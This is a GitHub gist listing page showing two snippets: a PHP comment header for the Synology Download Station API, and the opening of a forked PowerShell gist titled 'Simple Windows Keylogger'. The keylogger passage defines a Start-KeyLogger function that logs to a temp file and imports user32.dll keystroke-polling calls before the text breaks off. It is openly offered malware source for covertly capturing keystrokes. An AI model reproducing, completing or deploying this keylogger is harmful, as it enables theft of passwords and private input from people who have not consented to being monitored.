Skip to content

Instantly share code, notes, and snippets.

View baroninn's full-sized avatar

baroninn baroninn

View GitHub Profile
<?php
/*
Code tested with Synology DSM 6.1.3-15152 Update 4
Author: Joaquim Magalhães
Date: 26-09-2017
Full documentation here: https://global.download.synology.com/download/Document/DeveloperGuide/Synology_Download_Station_Web_API.pdf
*/
@baroninn
baroninn / gist:f761003bb16f5c002cfe243cdeebe1fb
Created October 3, 2018 02:09 — forked from dasgoll/gist:7ca1c059dd3b3fbc7277
Simple Windows Keylogger using PowerShell
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]